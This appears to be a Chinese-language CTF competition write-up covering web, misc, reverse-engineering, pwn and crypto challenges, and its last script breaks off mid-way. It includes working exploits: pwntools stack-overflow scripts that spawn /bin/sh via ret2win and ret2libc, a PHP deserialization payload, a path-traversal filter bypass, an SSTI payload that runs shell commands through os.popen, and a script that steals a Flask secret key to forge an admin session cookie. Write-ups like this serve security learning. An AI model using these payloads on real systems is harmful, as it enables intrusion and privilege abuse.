第一次打这个比赛,感觉难度还行,加上 AI 应该能基本AK

我做的主要是PWN MISC RE,WEB和CRYPTO是队友做的

第二天的数据安全赛不知道是什么,没参加

WEB-Snake_Game

题目截图

在这里插入图片描述

解题思路

分析源码,注意到程序通过 checkWin(s) 来判断是否胜利,其中 s 对应的是分数,而达到 300 分才能获胜,所以在浏览器控制台修改 s 为大于 300 的值,然后调用 checkWin(s) 即可拿到 flag。

function checkWin(s) {
    let formData = new FormData();
    formData.append('score', s);
    fetch('index.php', { method: 'POST', body: formData })
    .then(r => r.json())
    .then(data => {
        let msgEl = document.getElementById('msg');
        if(data.status === 'success') {
            msgEl.style.color = '#2ecc71';
            msgEl.innerText = data.flag;
        } else {
            msgEl.style.color = '#e74c3c';
            msgEl.innerText = "Game Over! " + data.message;
        }
    });
}
s = 1111;
checkWin(s);

在这里插入图片描述

幻影

题目截图

在这里插入图片描述

解题思路

获取到题目给的压缩包,直接解压,得到一个 data.bin 文件。

使用 xxd 查看信息:

xxd data.bin
00000000: 5261 7221 1a07 0052 454d 454d 4245 523a  Rar!...REMEMBER:
00000010: 2046 4c41 4720 4953 2048 4944 4445 4e20   FLAG IS HIDDEN
00000020: 494e 2042 4153 4536 3420 504c 5553 2058  IN BASE64 PLUS X
00000030: 4f52 210a 4641 4b45 2046 4c41 473a 2066  OR!.FAKE FLAG: f
00000040: 6c61 677b 3030 3030 3030 3030 2d30 3030  lag{00000000-000
00000050: 302d 3030 3030 2d30 3030 302d 3030 3030  0-0000-0000-0000
00000060: 3030 3030 3030 3030 7d0a 444f 204e 4f54  00000000}.DO NOT
00000070: 2054 5255 5354 2054 4849 5320 4f4e 452e   TRUST THIS ONE.
00000080: 0a72 6165 7172 4c44 3738 766a 3638 766e  .raeqrLD78vj68vn
00000090: 2b2b 7561 7671 662b 7435 762f 392b 2f33  ++uavqf+t5v/9+/3
000000a0: 6d38 7636 6f2b 6561 7672 2f75 702b 716a  m8v6o+eavr/up+qj
000000b0: 382f 2f6d 742f 3636 32                   8//mt/662

注意到其中有疑似密文的部分:

raeqrLD78vj68vn++uavqf+t5v/9+/3m8v6o+eavr/up+qj8//mt/662

由题目的提示:

REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!

尝试爆破 XOR key 然后 base64 解码:

import base64

encoded = "raeqrLD78vj68vn++uavqf+t5v/9+/3m8v6o+eavr/up+qj8//mt/662"
decoded = base64.b64decode(encoded)

for key in range(256):
    result = bytes(b ^ key for b in decoded)
    if b'flag{' in result:
        print(f"Key: 0x{key:02x} -> {result.decode()}")

爆破成功,得到题目截图中的 flag。

签到题-损坏的压缩包

题目截图

在这里插入图片描述

解题思路

下载附件得到压缩包,我是 macOS,直接解压就能得到 data.txt,不确定在其他平台是不是一样的。

data.txt 很明显是 base64,直接解码,然后提交:

flag{ndtg}

即可。

在这里插入图片描述

迷宫

题目截图

在这里插入图片描述

解题思路

下载附件,解压发现存在 data2.zip,继续解压,发现存在 hidden4.zip 继续解压,发现存在 .config 目录,打开,最终在 layer1/secret3/.config/user/backup5 发现 vault.bin 文件,查看内容:

strings vault.bin
YTQ4YWQxOTM4ZmY5MjE0NjIyNjkwYzAwOGVhZjkzMjM=34

很明显是 base64,解码得到 flag:

flag{a48ad1938ff9214622690c008eaf9323}

在这里插入图片描述

rerere

题目截图

在这里插入图片描述

解题思路

将文件放入 IDA 分析,在 strings 视图中发现 correctwrong,使用交叉引用跳转到对应的函数。

sub_1400014FB(主逻辑):

__int64 sub_1400014FB()
{
  Stream *Stream; // rax
  Stream *Stream_1; // rax
  int n38_1; // eax
  int n38; // edx
  int n38_2; // eax
  char Buffer[16]; // [rsp+20h] [rbp-58h] BYREF
  __int128 v7; // [rsp+30h] [rbp-48h]
  __int128 v8; // [rsp+40h] [rbp-38h]
  __int128 v9; // [rsp+50h] [rbp-28h]

  sub_140001690();
  *(_OWORD *)Buffer = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  sub_1400026F0("Input: ");
  Stream = __acrt_iob_func(1u);
  fflush(Stream);
  Stream_1 = __acrt_iob_func(0);
  fgets(Buffer, 64, Stream_1);
  n38_1 = strlen(Buffer);
  n38 = n38_1;
  if ( n38_1 <= 0 )
    goto LABEL_5;
  n38_2 = n38_1 - 1;
  if ( Buffer[n38_2] == 10 )
  {
    Buffer[n38_2] = 0;
    n38 = n38_2;
  }
  if ( n38 == 38 && (unsigned int)sub_140001480(Buffer) )
    puts("Correct!");
  else
LABEL_5:
    puts("Wrong!");
  return 0;
}

注意到是一个 flag 验证程序,其中核心是 sub_140001480

__int64 __fastcall sub_140001480(char *Buffer, int a2)
{
  __int64 v2; // r8

  if ( a2 <= 0 )
    return 1;
  v2 = 0;
  while ( byte_140004060[(unsigned __int8)(Buffer[v2] ^ byte_140004048[v2 & 7])] == byte_140004020[v2] )
  {
    if ( ++v2 == a2 )
      return 1;
  }
  return 0;
}

对其进行分析,得到公式:

flag[i] = inverse_table[expected[i]] ^ xor_key[i & 7]

在 IDA 中提取出对应的数据,然后编写解密脚本:

xor_key = bytes([0xB9, 0xCD, 0xCE, 0x30, 0xB8, 0x61, 0x4E, 0xAA])
expected = bytes([0xA3, 0x5B, 0x4C, 0x0A, 0x0E, 0xB8, 0xF4, 0xDA, 0x14, 0x75, 0x02, 0x3A, 0x8D, 0xE5, 0x77, 0xD5, 0xB1, 0x43, 0xAC, 0xA7, 0xB1, 0x49, 0xA5, 0x64, 0xD7, 0x96, 0x02, 0xA7, 0xB1, 0x79, 0x42, 0xB6, 0x53, 0x43, 0x43, 0x49, 0x5C, 0x6C])

table = bytes([0xC2, 0x23, 0x97, 0x49, 0x83, 0xF6, 0xD3, 0xA7, 0xEB, 0xBF, 0x78, 0xC3, 0x29, 0x56, 0xD2, 0x1A, 0x13, 0xBC, 0x21, 0x6A, 0x37, 0x8E, 0x5F, 0x0C, 0xB4, 0x46, 0xDE, 0xE4, 0x6C, 0xA2, 0x66, 0x30, 0x0F, 0xA4, 0xBB, 0x8C, 0x09, 0x4B, 0x3D, 0x32, 0x42, 0x55, 0x2D, 0x4F, 0xF9, 0x77, 0x1B, 0x74, 0x1F, 0x71, 0x7B, 0x9D, 0x73, 0xC4, 0xAB, 0xD0, 0xF3, 0xC1, 0x88, 0x07, 0xDC, 0xCE, 0xEF, 0xC0, 0x72, 0x4A, 0x27, 0x81, 0x9B, 0xEE, 0xC7, 0x28, 0x26, 0x5A, 0x94, 0x54, 0x70, 0xD1, 0xE9, 0xC8, 0x98, 0x36, 0x91, 0x41, 0xB8, 0x3A, 0x79, 0x0A, 0x08, 0xE5, 0xAF, 0x80, 0x24, 0xAE, 0x00, 0x19, 0xCC, 0x7A, 0xF7, 0x51, 0x7D, 0x69, 0xEC, 0x03, 0x65, 0x25, 0x1C, 0x01, 0xF5, 0xE6, 0xBD, 0xD9, 0x59, 0xFE, 0x92, 0xB0, 0x10, 0x6F, 0xF0, 0xE3, 0x9F, 0xAD, 0x84, 0xF4, 0xA5, 0x33, 0x35, 0x48, 0x53, 0xB1, 0xE0, 0xD8, 0x05, 0x38, 0x18, 0x68, 0xA9, 0x14, 0xC6, 0x3F, 0x61, 0x8A, 0x31, 0x3B, 0xBA, 0x2B, 0x4E, 0xE2, 0x57, 0x9A, 0xF1, 0xEA, 0x64, 0x7E, 0xA0, 0x93, 0xB6, 0xDA, 0x60, 0x2E, 0x1D, 0x5B, 0x82, 0x34, 0x6D, 0xFC, 0xCF, 0x7F, 0xE7, 0x96, 0x67, 0x43, 0x06, 0x44, 0xC9, 0x4C, 0x40, 0xDB, 0xFD, 0x4D, 0xB5, 0xED, 0x39, 0x2C, 0xB3, 0x17, 0x9E, 0xCD, 0xFA, 0x6B, 0xCA, 0x87, 0x8F, 0x9C, 0x89, 0x0E, 0x63, 0x45, 0x86, 0xAA, 0x5E, 0x95, 0x16, 0xC5, 0xD5, 0x2F, 0xA1, 0xF8, 0x99, 0xFF, 0x3C, 0x0D, 0x3E, 0xD4, 0x04, 0x76, 0xD7, 0x47, 0x20, 0x8D, 0xDF, 0x5C, 0x7C, 0xA3, 0x1E, 0x8B, 0x15, 0xB9, 0xA8, 0xCB, 0x22, 0xA6, 0x52, 0xD6, 0xFB, 0x5D, 0xDD, 0xB2, 0x6E, 0xE8, 0xF2, 0xE1, 0x2A, 0x58, 0x62, 0x12, 0x11, 0x50, 0x75, 0xB7, 0xAC, 0x90, 0x0B, 0x85, 0x02, 0xBE])

inv_table = [0] * 256
for i, v in enumerate(table):
    inv_table[v] = i

flag = ''.join(chr(inv_table[expected[i]] ^ xor_key[i & 7]) for i in range(38))
print(flag)

运行得到题目截图的结果。

在这里插入图片描述

字节码迷踪

题目截图

在这里插入图片描述

解题思路

下载得到 py_obf_06.pyc 字节码文件,xxd 查看信息:

xxd py_obf_06.pyc
00000000: cb0d 0d0a 0000 0000 8a5e d269 2602 0000  .........^.i&...
00000010: e300 0000 0000 0000 0000 0000 0002 0000  ................
00000020: 0000 0000 00f3 3200 0000 9700 6400 6401  ......2.....d.d.

其中 cb0d 对应 Python 3.12,使用 3.12 + pycdc 反编译:

./pycdc/build/pycdc ./py_obf_06.pyc
# Source Generated with Decompyle++
# File: py_obf_06.pyc (Python 3.12)

import base64

def decrypt_flag(encoded_data, key):
Unsupported opcode: MAKE_CELL (225)
    pass
# WARNING: Decompyle incomplete

def main():
    encoded_flag = 'cHp3cW18ZCZ+JScuejtyZmN3O2MuY2I7ensjJDtieGNsYCVycXt6Z3Rr'
    xor_key = 22
    user_input = input('请输入flag: ').strip()
    correct_flag = decrypt_flag(encoded_flag, xor_key)
    if user_input == correct_flag:
        print('正确!')
        return None
    print('错误!')

if __name__ == '__main__':
    main()
    return None

其中 decrypt_flag 没有反编译成功,使用 pycdas 得到字节码:

                [Disassembly]
                    0       COPY_FREE_VARS                  1
                    2       RETURN_GENERATOR
                    4       POP_TOP
                    6       RESUME                          0
                    8       LOAD_FAST                       0: .0
                    10      FOR_ITER                        18 (to 48)
                    14      STORE_FAST                      1: b
                    16      LOAD_GLOBAL                     1: NULL + chr
                    26      LOAD_FAST                       1: b
                    28      LOAD_DEREF                      2: key
                    30      BINARY_OP                       12 (^)
                    34      CALL                            1
                    42      YIELD_VALUE                     1
                    44      RESUME                          1
                    46      POP_TOP
                    48      JUMP_BACKWARD                   20 (to 10)
                    50      END_FOR
                    52      RETURN_CONST                    0: None
                    54      CALL_INTRINSIC_1                3 (INTRINSIC_STOPITERATION_ERROR)
                    56      RERAISE                         1
                [Exception Table]
                    6 to 54 -> 54 [0] lasti
        [Disassembly]
            0       MAKE_CELL                       1: key
            2       RESUME                          0
            4       LOAD_GLOBAL                     1: NULL + base64
            14      LOAD_ATTR                       2: b64decode
            34      LOAD_FAST                       0: encoded_data
            36      CALL                            1
            44      STORE_FAST                      2: decoded
            46      LOAD_CONST                      1: ''
            48      LOAD_ATTR                       5: join
            68      LOAD_CLOSURE                    1: key
            70      BUILD_TUPLE                     1
            72      LOAD_CONST                      2: <CODE> <genexpr>
            74      MAKE_FUNCTION                   8
            76      LOAD_FAST                       2: decoded
            78      GET_ITER
            80      CALL                            0
            88      CALL                            1
            96      RETURN_VALUE

对应的代码大概是:

def decrypt_flag(encoded_data, key):
    decoded = base64.b64decode(encoded_data)
    return ''.join(chr(b ^ key) for b in decoded)

编写对应的解密脚本:

import base64

encoded = 'cHp3cW18ZCZ+JScuejtyZmN3O2MuY2I7ensjJDtieGNsYCVycXt6Z3Rr'
key = 22

decoded = base64.b64decode(encoded)
flag = ''.join(chr(b ^ key) for b in decoded)
print(flag)

得到题目截图所示的 flag:flag{jr0h318l-dpua-u8ut-lm52-tnuzv3dgmlqb}

在这里插入图片描述

ChaCha20

题目截图

在这里插入图片描述

解题思路

下载得到一个 APK。

使用 jadx 对 APK 进行分析,发现 MainActivity 中有:

static {
    System.loadLibrary("myapplication");
}

并且存在很多类似的函数:

private void bc(View anchor) {
    String candidate = this.inputFlag.getText().toString();
    boolean ok = NativeBridge.ab(candidate);
    if (ok) {
        startActivity(new Intent(this, (Class<?>) SuccessActivity.class));
    } else {
        Snackbar.make(anchor, "flag错误", -1).show();
    }
}

所以实际上的逻辑应该在 so 层,而非 Java,提取出 myapplication.so 然后放入 IDA 分析。

JNI_OnLoad 中,调用了 sub_25010,其中注册了 3 个方法:

int __cdecl JNI_OnLoad(_JavaVM *a1)
{
  _JNIEnv *v3[3]; // [esp+1Ch] [ebp-Ch] BYREF

  v3[1] = (_JNIEnv *)__readgsdword(0x14u);
  v3[0] = 0;
  if ( _JavaVM::GetEnv(a1, (void **)v3, (int)"ceE") )
    return -1;
  if ( sub_25010(v3[0]) )
    return -1;
  return (int)"ceE";
}

int __cdecl sub_25010(_JNIEnv *a1)
{
  int Class; // [esp+1Ch] [ebp-Ch]

  Class = _JNIEnv::FindClass(a1, "com/cr/myapplication/NativeBridge");
  if ( !Class )
    return -1;
  if ( (int)_JNIEnv::RegisterNatives(
              a1,
              Class,
              off_571B4,                        // "a"
              3) >= 0 )
    return 0;
  return -1;
}

注册表:

.data.rel.ro:000571B4 off_571B4       dd offset aA            ; DATA XREF: sub_25010+50↑o
.data.rel.ro:000571B4                                         ; "a"
.data.rel.ro:000571B8                 dd offset aBB           ; "([B)[B"
.data.rel.ro:000571BC                 dd offset sub_250B0
.data.rel.ro:000571C0                 dd offset aB            ; "b"
.data.rel.ro:000571C4                 dd offset aBB           ; "([B)[B"
.data.rel.ro:000571C8                 dd offset sub_251F0
.data.rel.ro:000571CC                 dd offset aC            ; "c"
.data.rel.ro:000571D0                 dd offset aLjavaLangStrin ; "(Ljava/lang/String;)Z"
.data.rel.ro:000571D4                 dd offset sub_25330

查看这几个方法,在 c 函数即 sub_25330 中发现核心逻辑:

  1. 获取 Java 层传入的字符串
  2. 调用 sub_25740 对输入做 ChaCha20 流密码加密
  3. 调用 sub_27530 将加密结果做 hex 编码
  4. 与预设目标值比对,匹配则返回 true

ChaCha 核心算法在 sub_26CC0,被 sub_25740 调用:

unsigned int __cdecl sub_26CC0(int a1, int a2, int a3, int a4)
{
  int j; // [esp+14h] [ebp-A4h]
  int i; // [esp+18h] [ebp-A0h]
  _DWORD v7[16]; // [esp+2Ch] [ebp-8Ch] BYREF
  _DWORD expand_32_byte_k[19]; // [esp+6Ch] [ebp-4Ch] BYREF

  expand_32_byte_k[16] = __readgsdword(0x14u);
  qmemcpy(expand_32_byte_k, "expand 32-byte k", 16);
  expand_32_byte_k[4] = sub_27160(a1);
  expand_32_byte_k[5] = sub_27160(a1 + 4);
  expand_32_byte_k[6] = sub_27160(a1 + 8);
  expand_32_byte_k[7] = sub_27160(a1 + 12);
  expand_32_byte_k[8] = sub_27160(a1 + 16);
  expand_32_byte_k[9] = sub_27160(a1 + 20);
  expand_32_byte_k[10] = sub_27160(a1 + 24);
  expand_32_byte_k[11] = sub_27160(a1 + 28);
  expand_32_byte_k[12] = a2;
  expand_32_byte_k[13] = sub_27160(a3);
  expand_32_byte_k[14] = sub_27160(a3 + 4);
  expand_32_byte_k[15] = sub_27160(a3 + 8);
  __memcpy_chk(v7, expand_32_byte_k, 64, 64);
  for ( i = 0; i < 10; ++i )
  {
    sub_271A0(v7, &v7[4], &v7[8], &v7[12]);
    sub_271A0(&v7[1], &v7[5], &v7[9], &v7[13]);
    sub_271A0(&v7[2], &v7[6], &v7[10], &v7[14]);
    sub_271A0(&v7[3], &v7[7], &v7[11], &v7[15]);
    sub_271A0(v7, &v7[5], &v7[10], &v7[15]);
    sub_271A0(&v7[1], &v7[6], &v7[11], &v7[12]);
    sub_271A0(&v7[2], &v7[7], &v7[8], &v7[13]);
    sub_271A0(&v7[3], &v7[4], &v7[9], &v7[14]);
  }
  for ( j = 0; j < 16; ++j )
  {
    v7[j] += expand_32_byte_k[j];
    sub_272B0(4 * j + a4, v7[j]);
  }
  return __readgsdword(0x14u);
}

从其中提取数据,得到:

Key: 14 92 63 a1 6f 2d 89 cb f0 37 5b 1c a9 4e 78 d3 22 60 17 ee 9a bc 4d 08 53 e1 76 2a 8d c4 90 3f
Nonce: 44 33 22 11 ab cd ef 66 88 99 aa 55
Counter: 1

接下来寻找预设值 &off_58EF0 + 1183。在 sub_24BE0 找到了密文:

int sub_24BE0()
{
  Elf32_Dyn **v1; // [esp+20h] [ebp-18h]

  std::string::basic_string[abi:v170000]<decltype(nullptr)>(obj, (int)"d097c3f6d2238172e871ee74bca5859f88178f6e");
  v1 = &off_58EF0 + 1186;
  do
  {
    sub_24E40(v1);
    v1 += 3;
  }
  while ( v1 != &off_58EF0 + 1207 );
  return __cxa_atexit((void (*)(void *))std::array<std::string,8u>::~array, obj, &lpdso_handle_);
}

接下来按照数据在 CyberChef 解密即可。

在这里插入图片描述

PWN-Authenticate

题目截图

在这里插入图片描述

解题思路

把程序放入 IDA 分析,注意到存在函数:

int login()
{
  _BYTE v1[64]; // [rsp+0h] [rbp-80h] BYREF
  char buf[64]; // [rsp+40h] [rbp-40h] BYREF

  puts("=== Welcome to SecureAuth System ===");
  printf("Username: ");
  read(0, buf, 0x40u);
  printf("Password: ");
  gets(v1);
  if ( !strcmp(buf, "admin") )
    return puts("Access Denied: Admin login is disabled.");
  else
    return puts("Invalid credentials.");
}

int backdoor()
{
  return system("/bin/sh");
}

checksec 结果:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

所以只需要溢出 v1,然后调用 backdoor 就行了,由于是 64 位程序,所以还需要栈对齐,使用 ROPgadget 找一个 ret 就行了:

# ROPgadget found
0x000000000040101a : ret

exp:

from pwn import *

p = remote("120.27.146.76", 27262)

payload = b'a' * (64 + 64 + 8) + p64(0x40101a) + p64(0x4011f6)
p.sendlineafter("Username: ", b"admin")
p.sendlineafter("Password: ", payload)

p.interactive()

在这里插入图片描述

PWN-NoteService

题目截图

在这里插入图片描述

解题思路

先 checksec:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

只开了 NX。

丢 IDA 分析,发现存在函数:

int vuln()
{
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("=== Note Service ===");
  puts("Leave your note:");
  read(0, buf, 0x100u);
  return puts("Note saved. Thank you!");
}

int secret_note()
{
  return system("/bin/sh");
}

因为 read0x100,而溢出只需要 64 + 8 = 72,所以可以直接溢出,但同样要进行栈对齐,使用 ROPgadget 找一个 ret 就行了:

# ROPgadget found
0x000000000040101a : ret

exp:

from pwn import *

ret_gadget = 0x40101a
secret_note = 0x401196
offset = 72

payload = b'A' * offset
payload += p64(ret_gadget)
payload += p64(secret_note)

p = remote('120.27.146.76', 24028)
p.sendlineafter("Leave your note:", payload)
p.interactive()

在这里插入图片描述

PWN-MessageBoard

题目截图

在这里插入图片描述

解题思路

没看见题目提示说可以用 ret2shellcode,我用的 ret2libc。

丢 IDA 分析发现漏洞函数:

int vuln()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  puts("=== Message Board ===");
  puts("Leave your message below:");
  printf("Buffer at: %p\n", buf);
  printf("Message: ");
  read(0, buf, 0x100u);
  return puts("Thank you for your message!");
}

使用 ROPgadget 找 gadget:

0x00000000004012c3 : pop rdi ; ret
0x000000000040101a : ret

然后泄露 libc 地址,使用 libcdb 找对应的 libc,然后就可以 getshell 了。

exp:

from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

elf = ELF('./vuln')

pop_rdi = 0x4012c3
ret     = 0x40101a
offset  = 0x80 + 8

def exploit(p):
    p.sendafter(b'Message: ', flat(
        b'A' * offset,
        pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['vuln'],
    ))

    data = p.recvuntil(b'Message: ')
    marker = b'Thank you for your message!\n'
    idx = data.find(marker)
    leaked = data[idx + len(marker):idx + len(marker) + 6]
    puts_libc = u64(leaked.ljust(8, b'\x00'))
    log.success(f'puts@libc: {hex(puts_libc)}')

    matches = libcdb.search_by_symbol_offsets({'puts': puts_libc}, return_raw=True)
    match = next(m for m in matches if 'i386' not in m['id'])
    s = match['symbols']

    libc_base = puts_libc - int(s['puts'], 16)
    system    = libc_base + int(s['system'], 16)
    bin_sh    = libc_base + int(s['str_bin_sh'], 16)
    log.success(f'libc: {match["id"]}')

    p.send(flat(
        b'A' * offset, ret, pop_rdi, bin_sh, system,
    ))
    p.recvuntil(b'Thank you for your message!\n')
    p.interactive()

p = remote('47.99.147.34', 26052)
exploit(p)

在这里插入图片描述

DES加密验证

题目截图

在这里插入图片描述

解题思路

丢 jadx 分析,发现 MainActivity 中存在:

public static native boolean verifyFlag(String str);

static {
    System.loadLibrary("crackme2");
}

说明 verifyFlag 肯定是在 so 层的,提取出来,丢 IDA 分析。

找到对应的函数:

int __cdecl verifyFlag(int a1, int a2, int a3)
{
  int i_1; // [esp+10h] [ebp-68h]
  int i; // [esp+30h] [ebp-48h]
  unsigned __int8 v6; // [esp+37h] [ebp-41h]
  unsigned __int8 *ptr_1; // [esp+40h] [ebp-38h]
  unsigned __int8 *ptr; // [esp+44h] [ebp-34h]
  int StringUTFChars; // [esp+4Ch] [ebp-2Ch]
  unsigned __int8 v10[12]; // [esp+58h] [ebp-20h] BYREF
  size_t size; // [esp+64h] [ebp-14h] BYREF
  char v12; // [esp+6Bh] [ebp-Dh] BYREF
  unsigned int v13; // [esp+6Ch] [ebp-Ch]

  v13 = __readgsdword(0x14u);
  __android_log_print(4, "51asm", &unk_E0CD);
  v12 = 0;
  StringUTFChars = _JNIEnv::GetStringUTFChars(a1, a3, &v12);
  i_1 = __strlen_chk(StringUTFChars, -1);
  __android_log_print(4, "51asm", &unk_E911);
  size = 0;
  ptr = sub_24440(StringUTFChars, i_1, &size);
  ptr_1 = (unsigned __int8 *)malloc(size);
  des_ecb_encrypt(ptr, size, "12345678", ptr_1);
  bytesToHex(v10, (int)ptr);
  sub_23DC0((int)v10);
  __android_log_print(6, "51asm", &unk_D5BF);
  v6 = 0;
  for ( i = 0; i < 1; ++i )
  {
    if ( (sub_24510((int)&unk_58010 + 12 * i, (int)v10) & 1) != 0 )
    {
      __android_log_print(4, "51asm", &unk_CCD8);
      v6 = 1;
      break;
    }
  }
  if ( !v6 )
    __android_log_print(4, "51asm", &unk_D5E2);
  free(ptr);
  free(ptr_1);
  _JNIEnv::ReleaseStringUTFChars(a1, a3, StringUTFChars);
  std::string::~string(v10);
  return v6;
}

发现其中 bytesToHex() 使用的不是 DES 加密后的结果,而是 ptr,即 sub_24440() 的结果,分析:

_BYTE *__cdecl sub_24440(int StringUTFChars, int i_1, size_t *p_size)
{
  signed int i; // [esp+20h] [ebp-28h]
  _BYTE *v5; // [esp+24h] [ebp-24h]
  int v6; // [esp+28h] [ebp-20h]

  v6 = 8 - i_1 % 8;
  *p_size = v6 + i_1;
  v5 = malloc(*p_size);
  __memcpy_chk(v5, StringUTFChars, i_1, -1);
  for ( i = i_1; i < (int)*p_size; ++i )
    v5[i] = v6;
  return v5;
}

就是单纯的填充,接下来找密文,把密文的填充去掉,就是 bytesToHex 的 hex 了,再转成 bytes 应该就行了。

它比较的是 &unk_58010 + 12 * i,直接找 unk_58010,发现它未被赋值,使用交叉引用找到赋值的位置:

int sub_23DF0()
{
  std::string::basic_string[abi:v170000]<decltype(nullptr)>(
    &unk_58010,
    "666c61677b484e435446716b736d7a646a6b7331484e437d0808080808080808");
  return __cxa_atexit((void (*)(void *))sub_23EB0, 0, &lpdso_handle_);
}

去掉 hex 的后面的 08,然后 fromhex 就行了:

flag{HNCTFqksmzdjks1HNC}

在这里插入图片描述

ECDSA nonce 重用

题目截图

在这里插入图片描述

在这里插入图片描述

解题思路

  1. 明确ECDSA的逻辑

    (r,s)就是ECDSA的签名结果

    而: r=(k×G).x mod n

    s=k⁻¹×(z+r×d)mod n

    其中,k是随机的,json文件中,也给了我们两组数据:

    在这里插入图片描述

    根据题目,我们正是要解出这个私钥d,得到我们的flag

    信息中,r1和r2相等,又根据公式,其中G 是固定,故r完全由k决定,所以也意味着两组数据所使用的随机数是相等的,即k1=k2,这正好和题目所说的错误使用相同的k的漏洞一致。现在目的很明确,就是解出d;

    2.求解结果

    所以有了两个方程:

    方程1:s₁=k⁻¹×(z₁+r×d)mod n

    方程2:s₂=k⁻¹×(z₂+r×d)mod n

    相减之后得到;k=(z₁- z₂)×(s₁- s₂)⁻¹

    其中k和d是未知数,z是消息哈希后的结果,那么我们就先算出z的值

在这里插入图片描述

得到z1和z2

在这里插入图片描述

运算就能得到d;

在这里插入图片描述

d=29644667807459325735366243332345699361269301712319246391426326776471490316948

3.拼接flag

经过多次尝试,需要将d转化为16进制,取前32位,按照题目拼接就得到了flag

BabyRSA

题目截图

在这里插入图片描述

在这里插入图片描述

解题思路

  1. 打开task.py

    里面有加密的关键代码:

    在这里插入图片描述

    也就是说这是一个RSA的题

    知道公钥(n, e),正常想要解密是需要私钥d的,但是我们得不到私钥,思考一下RSA的主要攻击,看到e=3,很小,很轻松联想到模幂攻击中的低指数攻击:m³还没n大,所以可能c = m³;

    这里再对数据进行验证;

    在output.txt文件中得到n和c的值:

    n= = 136238405307924515512378856772562894923724983292644394319455090793569064535428971167723826777880207821677002102052186812193351396113507042750370526325409401617510124862861936738060469365245134210182402881106296377417260805705510846637277333145361375000367958125839993553757529064621914269601491419658308077993

    c=

    2217344750801072769227980025229555865302080734360476232467414409766993119121773815817906128379962987164528966405652073877892124009630128576283580662615213234351328139016851556250077344234096015405727293595866841156224044624068489439288012980068530098531233390786075466432357

    c远远小于n,也就是说; m³ = c

  2. 然后用python脚本对他开立方

    在这里插入图片描述

  3. 最终得到flag

在这里插入图片描述

WEB-PHP_Payment

题目截图

网站页面:

在这里插入图片描述

题目源码:

在这里插入图片描述

解题思路

  1. 在所给源码中的apply_coupon.php中,发现关键点:

在这里插入图片描述

会将输入的进行base64解密,然后再进行反序列化,初步考虑存在反序列化漏洞,之后又在model.php中发现了触发方法:

在这里插入图片描述

所以构建一个payload:

O:12:“PromoManager”:2:{s:12:“promo_credit”;i:99999;s:10:“promo_code”;s:1:“x”;}

然后进行反序列化后为:

TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czoxOiJ4Ijt9

  1. 利用burpsuite进行抓包,然后更改数据包,来实现利用这个漏洞获取flag

首先先直接抓取http://120.27.146.76:17846/index.php这个的数据包,获得token:

在这里插入图片描述

然后直接在页面里面输入payload

在这里插入图片描述

刷新后发现余额成功改变!

然后直接抓取获取的包,然后就可以在bp的相应里面,找到flag

在这里插入图片描述

WEB-Enterprise_OA

题目截图

在这里插入图片描述

解题思路

  1. 首先根据题目的提示,就可以思考这是一个路径穿越问题,很轻易地就发现这里面的参数是module

  2. ?module=php://filter/convert.base64-encode/resource=index.php

传入这个值,利用php的伪协议来读取index.php的源码,结果返回的是一串base64编码后的结果,用base64解码过后,就可以看到关键的源码

在这里插入图片描述

在这里插入图片描述

从这里两个代码就可以看出,包含了module,可以通过这个路径来获得flag,并且这里过滤的是…/

所以我们这里用…//来绕过这个过滤

传入?module=…//…//…//flag.txt即可获取flag

在这里插入图片描述

WEB-TaxSystem_SSTI

题目截图

在这里插入图片描述

在这里插入图片描述

解题思路

  1. 直接在源码里面找到了密码:admin/123456,所以直接登录即可

在这里插入图片描述

  1. 因为题目直接提示了存在是SSTI注入,并且返回了config信息,尝试注入点

在这里插入图片描述

创建成功并解析,然后直接用fenjing工具来跑,最终的paylaod为:

{%print (lipsum.__eq__['__g''lobals__'].sys.modules['o''s']['po''pen']('*galf/ tac'[::-1]))['r''ead']()%}
  1. 最终运行一下python脚本,获得flag
import html
import re
import subprocess
import sys
import requests

TARGET = "http://120.27.146.76:12671"

s = requests.Session()

def step(name, fn):
    print(f"[{name}] ", end="", flush=True)
    try:
        result = fn()
        print("OK")
        return result
    except Exception as e:
        print(f"FAILED: {e}")
        sys.exit(1)

step("Login admin/123456", lambda: (
    s.post(f"{TARGET}/login",
           data={"username": "admin", "password": "123456"},
           allow_redirects=False)
))

step("Create profile", lambda: (
    s.post(f"{TARGET}/api/create_profile", allow_redirects=False)
))

step("Inject SSTI payload", lambda: (
    s.post(f"{TARGET}/api/import", json={
        "profile_id": 1,
        "data": {
            "state": "AUDIT_PENDING",
            "custom_footer": "{{config}}"
        }
    })
))

print("[*] Triggering SSTI at /preview/1 ...")
r = s.get(f"{TARGET}/preview/1")

if r.status_code != 200:
    print(f"FAILED: preview returned {r.status_code}")
    print(r.text[:500])
    sys.exit(1)

decoded = html.unescape(r.text)
flag_in_profile = re.search(r'flag\{[^}]+\}', decoded)
if flag_in_profile:
    print(f"[+] FLAG found in profile: {flag_in_profile.group(0)}")

match = re.search(r"SECRET_KEY':\s*'([^']+)'", decoded)
if not match:
    print("FAILED: could not find SECRET_KEY")
    print("Decoded excerpt:")
    print(decoded[:2000])
    sys.exit(1)

secret_key = match.group(1)
print(f"[*] SECRET_KEY = {secret_key}")

print("[*] Forging session cookie ...")
result = subprocess.run(
    ["conda", "run", "-n", "tax-ssti", "flask-unsign", "--sign",
     "--cookie", "{'user_id': 1, 'role': 'tax_inspector'}",
     "--secret", secret_key],
    capture_output=True, text=True
)

if result.returncode != 0:
    print(f"FAILED: flask-unsign error: {result.stderr}")
    sys.exit(1)

forged_cookie = result.stdout.strip()
print(f"[*] Forged cookie: {forged_cookie[:60]}...")

print("[*] Accessing /admin/vault ...")
